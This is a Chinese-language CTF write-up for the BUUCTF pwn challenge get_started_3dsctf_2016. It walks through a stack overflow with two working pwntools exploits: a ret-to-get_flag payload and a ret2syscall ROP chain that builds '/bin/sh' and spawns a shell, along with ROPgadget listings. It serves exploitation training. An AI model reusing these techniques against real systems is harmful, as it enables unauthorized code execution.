buuctf-pwn-get_started_3dsctf_2016

zzkkk1h發表於2024-05-08

題目地址:https://buuoj.cn/challenges#get_started_3dsctf_2016

檢查一下保護情況

拖進ida分析

主函式有個很明顯的棧溢位漏洞

沒有找到system函式,但是發現了這個函式

後面有兩種解題思路

0x01 呼叫get_flag函式

這個函式讀取了flag.txt,並輸出內容,那麼我們就想辦法溢位到這裡
這裡使用cyclic測量溢位點,發現是溢位點是56
然後直接用if語句中的地址來作為返回地址,這樣就不用控制引數了,get_flag_addr = 0x080489B8
在建立一個flag.txt用於本地測試

嘗試溢位:payload=b'A'*56+p32(get_flag_addr)
這樣發現本地可以讀取flag,但遠端不行
原因是當遠端連線時如果沒有正常退出,程式是不會給我們回顯的,所以我們要讓程式正常退出(不能報錯)

找一找發現exit函式的地址 exit_addr = 0x0804E6A0
將它加到payload後面,當程式執行完get_flag函式後,就會執行exit函式,相當與將exit函式作為get_flag函式的返回值
不過這樣就要構建正常的棧幀了,修改get_flag_addr = 0x080489A0 ,引數也要加上

最終的 payload = b'A'*56+p32(get_flag_addr)+p32(exit_addr)+p32(814536271)+p32(425138641)

exp
from pwn import *

p = remote("node5.buuoj.cn",26800)
#p = process("./get_started_3dsctf_2016")
#context(log_level="debug")

param1 = 0x308cd64f
param2 = 0x195719d1
get_flag_addr = 0x080489a0
exit_addr=0x804e6a0

payload = b'A'*56+p32(get_flag_addr)+p32(exit_addr)+p32(814536271)+p32(425138641)

p.sendline(payload)
p.interactive()


成功讀取flag

0x02 syscall

什麼是系統呼叫

syscall(系統呼叫),就是透過呼叫系統函式來實現getshell的方式

在電腦中,系統呼叫(英語:system call),指執行在使用者空間的程式向作業系統核心請求需要更高許可權執行的服務。
系統呼叫提供使用者程式與作業系統之間的介面。大多數系統互動式操作需求在核心態執行。如裝置IO操作或者程序間通訊。

作業系統的程序空間可分為使用者空間和核心空間,它們需要不同的執行許可權。其中系統呼叫執行在核心空間。

系統呼叫和普通庫函式呼叫非常相似,只是系統呼叫由作業系統核心提供,執行於核心核心態,而普通的庫函式呼叫由函式庫或使用者自己提供,執行於使用者態。

Linux 在x86上的系統呼叫透過 int 80h 實現,用系統呼叫號來區分入口函式。

系統呼叫原理

當應用程式需要呼叫一個系統呼叫時,首先需要將要呼叫的系統呼叫號放置到 eax 暫存器中,然後透過使用 int 0x80 指令觸發呼叫 0x80 號軟中斷服務。
系統呼叫號位為0xb時會執行exec(功能和system相同)
此時引數分別為ebx,ecx,edx
ebx應該指向"/bin/sh"的地址,ecx=0,edx=0

ret2syscall

我們需要控制暫存器的值,使用ROPgadget

找一下控制eax的指令

ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" | grep eax
┌──(root㉿kali)-[~/Desktop/Pwn/BUUCTF/12.get_started_3dsctf_2016]
└─# ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" | grep eax
0x0809e0fa : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080b91e6 : pop eax ; ret
0x0804c56d : pop eax ; ret 0x80e
0x080d9ff8 : pop eax ; ret 0xfff7
0x080dfcd8 : pop eax ; ret 0xfff9
0x0809e0f9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

`0x080b91e6 : pop eax ; ret`這條可以用

找一下控制ebx的指令

ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" | grep ebx
┌──(root㉿kali)-[~/Desktop/Pwn/BUUCTF/12.get_started_3dsctf_2016]
└─# ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" | grep ebx                                         
0x0809e102 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809e0fa : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805bf3d : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e4c4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x0809a7dc : pop ebx ; pop edi ; ret
0x0806fc09 : pop ebx ; pop edx ; ret
0x0804f460 : pop ebx ; pop esi ; pop ebp ; ret
0x080483b7 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a25b6 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096b1e : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x080718b1 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0804ab66 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049a95 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x080509a5 : pop ebx ; pop esi ; pop edi ; ret
0x080498af : pop ebx ; pop esi ; pop edi ; ret 4
0x08049923 : pop ebx ; pop esi ; ret
0x080481ad : pop ebx ; ret
0x080d413c : pop ebx ; ret 0x6f9
0x08099f96 : pop ebx ; ret 8
0x0806fc31 : pop ecx ; pop ebx ; ret
0x08063adb : pop edi ; pop esi ; pop ebx ; ret
0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret
0x0809e0f9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0807b1b0 : pop es ; pop ebx ; ret
0x0806fc08 : pop esi ; pop ebx ; pop edx ; ret
0x0805d090 : pop esi ; pop ebx ; ret
0x0805b8a0 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0809efe2 : pop ss ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

`0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret`這條可以用

在找一下int 0x80

ROPgadget --binary get_started_3dsctf_2016 --only "int"
┌──(root㉿kali)-[~/Desktop/Pwn/BUUCTF/12.get_started_3dsctf_2016]
└─# ROPgadget --binary get_started_3dsctf_2016 --only "int"
Gadgets information
============================================================
0x0806d7e5 : int 0x80

再找一下'/bin/sh'

ROPgadget --binary get_started_3dsctf_2016 --string "/bin/sh"
┌──(root㉿kali)-[~/Desktop/Pwn/BUUCTF/12.get_started_3dsctf_2016]
└─# ROPgadget --binary get_started_3dsctf_2016 --string "/bin/sh"                                            
Strings information
============================================================
沒有,需要我們自己構造

先用vmmap找一下能寫的段

vmmap
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
     Start        End Perm     Size Offset File
 0x8048000  0x80ea000 r-xp    a2000      0 /root/Desktop/Pwn/BUUCTF/12.get_started_3dsctf_2016/get_started_3dsctf_2016                                                                                                                  
 0x80ea000  0x80ec000 rw-p     2000  a1000 /root/Desktop/Pwn/BUUCTF/12.get_started_3dsctf_2016/get_started_3dsctf_2016                                                                                                                  
 0x80ec000  0x80ed000 rw-p     1000      0 [heap]
 0x80ed000  0x810f000 rw-p    22000      0 [heap]
0xf7ff8000 0xf7ffc000 r--p     4000      0 [vvar]
0xf7ffc000 0xf7ffe000 r-xp     2000      0 [vdso]
0xfffdd000 0xffffe000 rw-p    21000      0 [stack]

那麼這裡我選擇了0x80eb050這個地址,將/bin/shell寫入這裡 bin_sh = 0x80eb050,後面如果不行可以改動這裡的內容

找一下mov指令

ROPgadget --binary get_started_3dsctf_2016 --only "mov|ret" | grep eax
┌──(root㉿kali)-[~/Desktop/Pwn/BUUCTF/12.get_started_3dsctf_2016]
└─# ROPgadget --binary get_started_3dsctf_2016 --only "mov|ret" | grep eax                                                     
0x080662d6 : mov al, byte ptr [ecx + 2] ; mov byte ptr [edx + 2], al ; mov eax, edx ; ret
0x080662f4 : mov al, byte ptr [ecx + 4] ; mov byte ptr [edx + 4], al ; mov eax, edx ; ret
0x0806818a : mov al, byte ptr [ecx + 8] ; mov byte ptr [edx + 8], al ; mov eax, edx ; ret
0x080662b0 : mov al, byte ptr [ecx] ; mov byte ptr [edx], al ; mov eax, edx ; ret
0x080662c0 : mov ax, word ptr [ecx] ; mov word ptr [edx], ax ; mov eax, edx ; ret
0x0805f9a9 : mov bh, 8 ; mov word ptr [edx], cx ; mov eax, dword ptr [esp + 4] ; ret
0x080b7ab3 : mov byte ptr [eax + 0x18d8], 4 ; ret
0x08079b3f : mov byte ptr [eax], 0 ; ret
0x080662d9 : mov byte ptr [edx + 2], al ; mov eax, edx ; ret
0x080662f7 : mov byte ptr [edx + 4], al ; mov eax, edx ; ret
0x0806633b : mov byte ptr [edx + 8], al ; mov eax, edx ; ret
0x0805d645 : mov byte ptr [edx - 1], al ; mov eax, dword ptr [esp + 4] ; ret
0x0805f2cc : mov byte ptr [edx - 1], cl ; mov eax, dword ptr [esp + 4] ; ret
0x08079b3c : mov byte ptr [edx], 0x2f ; mov byte ptr [eax], 0 ; ret
0x0805fa43 : mov byte ptr [edx], al ; mov eax, dword ptr [esp + 4] ; ret
0x080662b2 : mov byte ptr [edx], al ; mov eax, edx ; ret
0x0805f91b : mov byte ptr [edx], cl ; mov eax, dword ptr [esp + 4] ; ret
0x0805fa41 : mov dh, 0 ; mov byte ptr [edx], al ; mov eax, dword ptr [esp + 4] ; ret
0x0805f919 : mov dh, 8 ; mov byte ptr [edx], cl ; mov eax, dword ptr [esp + 4] ; ret
0x080a0a0c : mov dword ptr [0x68], eax ; ret
0x0809a661 : mov dword ptr [0x80eca08], eax ; ret
0x0804f859 : mov dword ptr [0x8900004c], eax ; ret 0xc483
0x08092839 : mov dword ptr [0x89fffdea], eax ; ret
0x0808644a : mov dword ptr [0xf6000016], eax ; ret 0xf40
0x0809742e : mov dword ptr [eax + 0x188], edx ; ret
0x0808c404 : mov dword ptr [eax + 0x20], ecx ; ret
0x080543cc : mov dword ptr [eax + 0x24], ecx ; mov dword ptr [eax + 0xc], edx ; mov dword ptr [eax + 4], edx ; ret
0x080b9178 : mov dword ptr [eax + 0x4c], edx ; ret
0x08054d21 : mov dword ptr [eax + 0x5c], 0 ; ret
0x080543cf : mov dword ptr [eax + 0xc], edx ; mov dword ptr [eax + 4], edx ; ret
0x080543d2 : mov dword ptr [eax + 4], edx ; ret
0x0808c401 : mov dword ptr [eax + 8], edx ; mov dword ptr [eax + 0x20], ecx ; ret
0x0809a776 : mov dword ptr [eax], ecx ; mov eax, dword ptr [0x80eca04] ; mov dword ptr [edx], eax ; ret
0x0808c3ff : mov dword ptr [eax], edx ; mov dword ptr [eax + 8], edx ; mov dword ptr [eax + 0x20], ecx ; ret
0x080701a5 : mov dword ptr [ecx + 4], eax ; mov eax, ecx ; ret
0x080b915e : mov dword ptr [ecx], eax ; mov eax, dword ptr [edx + 0x4c] ; ret
0x0804dc3c : mov dword ptr [edx + 0x14], ecx ; mov dword ptr [edx + 0xc], ebp ; mov dword ptr [edx + 0x18], eax ; ret
0x0804dc42 : mov dword ptr [edx + 0x18], eax ; ret
0x0804dc3f : mov dword ptr [edx + 0xc], ebp ; mov dword ptr [edx + 0x18], eax ; ret
0x08066317 : mov dword ptr [edx + 3], eax ; mov eax, edx ; ret
0x08066309 : mov dword ptr [edx + 4], eax ; mov eax, edx ; ret
0x0806637b : mov dword ptr [edx + 7], eax ; mov eax, edx ; ret
0x0806635d : mov dword ptr [edx + 8], eax ; mov eax, edx ; ret
0x0805d666 : mov dword ptr [edx - 2], eax ; mov eax, dword ptr [esp + 4] ; ret
0x0805f35d : mov dword ptr [edx - 2], ecx ; mov eax, dword ptr [esp + 4] ; ret
0x0805d622 : mov dword ptr [edx - 4], eax ; mov eax, dword ptr [esp + 4] ; ret
0x0805f225 : mov dword ptr [edx - 4], ecx ; mov eax, dword ptr [esp + 4] ; ret
0x080712e9 : mov dword ptr [edx], eax ; mov eax, 0xffffffff ; ret
0x080662c4 : mov dword ptr [edx], eax ; mov eax, edx ; ret
0x080557ab : mov dword ptr [edx], eax ; ret
0x0805f894 : mov dword ptr [edx], ecx ; mov eax, dword ptr [esp + 4] ; ret
0x0809cc7b : mov dword ptr [esp], eax ; mov eax, dword ptr [esp + 4] ; ret 0x14
0x0809cc34 : mov dword ptr [esp], eax ; mov eax, dword ptr [esp + 4] ; ret 0xc
0x080a0a0b : mov dword ptr gs:[0x68], eax ; ret
0x080712e8 : mov dword ptr gs:[edx], eax ; mov eax, 0xffffffff ; ret
0x0807b26c : mov dword ptr gs:[edx], eax ; ret
0x0805bd4c : mov eax, 0x16 ; ret
0x080d151b : mov eax, 0x45155e93 ; ret 0x591c
0x080dfcf4 : mov eax, 0x48000091 ; ret
0x080d9ff4 : mov eax, 0x58000034 ; ret 0xfff7
0x08059d1e : mov eax, 0x80eb520 ; ret
0x0807dbf4 : mov eax, 0xe8fffffb ; ret
0x08054870 : mov eax, 0xffffffff ; ret
0x0808fda0 : mov eax, 1 ; ret
0x0808fdb0 : mov eax, 2 ; ret
0x0808fdc0 : mov eax, 3 ; ret
0x0808fdd0 : mov eax, 4 ; ret
0x0808fde0 : mov eax, 5 ; ret
0x0808fdf0 : mov eax, 6 ; ret
0x0808fe00 : mov eax, 7 ; ret
0x080718c0 : mov eax, 8 ; ret 0xc
0x08055a50 : mov eax, dword ptr [0x80eb080] ; ret
0x08078930 : mov eax, dword ptr [0x80ec5c0] ; ret
0x0809a778 : mov eax, dword ptr [0x80eca04] ; mov dword ptr [edx], eax ; ret
0x0809a729 : mov eax, dword ptr [0x80eca08] ; ret
0x080aa3e0 : mov eax, dword ptr [0x80ecc9c] ; ret
0x08071a40 : mov eax, dword ptr [0x80eccd4] ; ret
0x08071a50 : mov eax, dword ptr [0x80eccdc] ; ret
0x080aecc5 : mov eax, dword ptr [0x89fffffe] ; ret 0xfa29
0x0808d044 : mov eax, dword ptr [eax + 0x24] ; mov eax, dword ptr [eax + 0x28] ; ret
0x0808d047 : mov eax, dword ptr [eax + 0x28] ; ret
0x08055a74 : mov eax, dword ptr [eax + 0x34] ; ret
0x080b90d4 : mov eax, dword ptr [eax + 0x48] ; ret
0x080b9144 : mov eax, dword ptr [eax + 0x4c] ; ret
0x080b9184 : mov eax, dword ptr [eax + 0x50] ; ret
0x080b91f4 : mov eax, dword ptr [eax + 0x54] ; ret
0x080b91e4 : mov eax, dword ptr [eax + 0x58] ; ret
0x080b9194 : mov eax, dword ptr [eax + 0x5c] ; ret
0x0809d830 : mov eax, dword ptr [eax + 4] ; ret
0x0807b1ec : mov eax, dword ptr [eax + edx*4 + 0x40] ; ret
0x0807b1ea : mov eax, dword ptr [eax] ; mov eax, dword ptr [eax + edx*4 + 0x40] ; ret
0x08066314 : mov eax, dword ptr [ecx + 3] ; mov dword ptr [edx + 3], eax ; mov eax, edx ; ret
0x08068174 : mov eax, dword ptr [ecx + 4] ; mov dword ptr [edx + 4], eax ; mov eax, edx ; ret
0x08066305 : mov eax, dword ptr [ecx + 4] ; mov word ptr [edx + 4], ax ; mov eax, edx ; ret
0x080681ca : mov eax, dword ptr [ecx + 7] ; mov dword ptr [edx + 7], eax ; mov eax, edx ; ret
0x080681ea : mov eax, dword ptr [ecx + 8] ; mov dword ptr [edx + 8], eax ; mov eax, edx ; ret
0x080681ab : mov eax, dword ptr [ecx + 8] ; mov word ptr [edx + 8], ax ; mov eax, edx ; ret
0x080662e0 : mov eax, dword ptr [ecx] ; mov dword ptr [edx], eax ; mov eax, edx ; ret
0x080557a9 : mov eax, dword ptr [ecx] ; mov dword ptr [edx], eax ; ret
0x080662c1 : mov eax, dword ptr [ecx] ; mov word ptr [edx], ax ; mov eax, edx ; ret
0x080b9160 : mov eax, dword ptr [edx + 0x4c] ; ret
0x080b9174 : mov eax, dword ptr [esp + 4] ; mov dword ptr [eax + 0x4c], edx ; ret
0x08055a70 : mov eax, dword ptr [esp + 4] ; mov eax, dword ptr [eax + 0x34] ; ret
0x080b90d0 : mov eax, dword ptr [esp + 4] ; mov eax, dword ptr [eax + 0x48] ; ret
0x080b9140 : mov eax, dword ptr [esp + 4] ; mov eax, dword ptr [eax + 0x4c] ; ret
0x080b9180 : mov eax, dword ptr [esp + 4] ; mov eax, dword ptr [eax + 0x50] ; ret
0x080b91f0 : mov eax, dword ptr [esp + 4] ; mov eax, dword ptr [eax + 0x54] ; ret
0x080b91e0 : mov eax, dword ptr [esp + 4] ; mov eax, dword ptr [eax + 0x58] ; ret
0x080b9190 : mov eax, dword ptr [esp + 4] ; mov eax, dword ptr [eax + 0x5c] ; ret
0x08055a80 : mov eax, dword ptr [esp + 4] ; ret
0x0809cc7e : mov eax, dword ptr [esp + 4] ; ret 0x14
0x0809cc37 : mov eax, dword ptr [esp + 4] ; ret 0xc
0x080b96d2 : mov eax, dword ptr [esp] ; ret
0x0807b1e9 : mov eax, dword ptr gs:[eax] ; mov eax, dword ptr [eax + edx*4 + 0x40] ; ret
0x080701a8 : mov eax, ecx ; ret
0x080662b4 : mov eax, edx ; ret
0x0805f892 : mov ecx, dword ptr [eax] ; mov dword ptr [edx], ecx ; mov eax, dword ptr [esp + 4] ; ret
0x0805d35d : mov edi, eax ; mov esi, edx ; mov eax, dword ptr [esp + 4] ; ret
0x0805d35f : mov esi, edx ; mov eax, dword ptr [esp + 4] ; ret
0x0807a5ab : mov fs, word ptr [eax + 0x29fffffe] ; ret 0xc101
0x08066308 : mov word ptr [edx + 4], ax ; mov eax, edx ; ret
0x0806635c : mov word ptr [edx + 8], ax ; mov eax, edx ; ret
0x0805d665 : mov word ptr [edx - 2], ax ; mov eax, dword ptr [esp + 4] ; ret
0x0805f35c : mov word ptr [edx - 2], cx ; mov eax, dword ptr [esp + 4] ; ret
0x080662c3 : mov word ptr [edx], ax ; mov eax, edx ; ret
0x0805f9ab : mov word ptr [edx], cx ; mov eax, dword ptr [esp + 4] ; ret

`0x080557ab : mov dword ptr [edx], eax ; ret` 這條不錯

先將bin_sh寫入edx,再將'/bin'寫入eax,利用mov將'/bin'寫入bin_sh地址處
再將bin_sh+4寫入edx,重複上一次步驟寫入'/sh\x00'
這樣就構造好'/bin/sh'了

要找的齊了,下面開始寫exp

exp
from pwn import *

p = process("./get_started_3dsctf_2016")

pop_eax = 0x080b91e6
pop_edx_ecx_ebx = 0x0806fc30
int_0x80 = 0x0806d7e5
bin_sh = 0x80eb050
mov_edx_eax = 0x080557ab

payload = b'A'*56+p32(pop_eax)+b'/bin'+ p32(pop_edx_ecx_ebx)+p32(bin_sh)+p32(0)+p32(0)+p32(mov_edx_eax) # 寫'/bin'
payload+= p32(pop_eax)+b'/sh\x00'+p32(pop_edx_ecx_ebx)+p32(bin_sh+4)+p32(0)+p32(0)+p32(mov_edx_eax) # 寫'/sh\x00'
payload+= p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bin_sh)+p32(int_0x80) # 系統呼叫

p.sendline(payload)
p.interactive()

獲取shell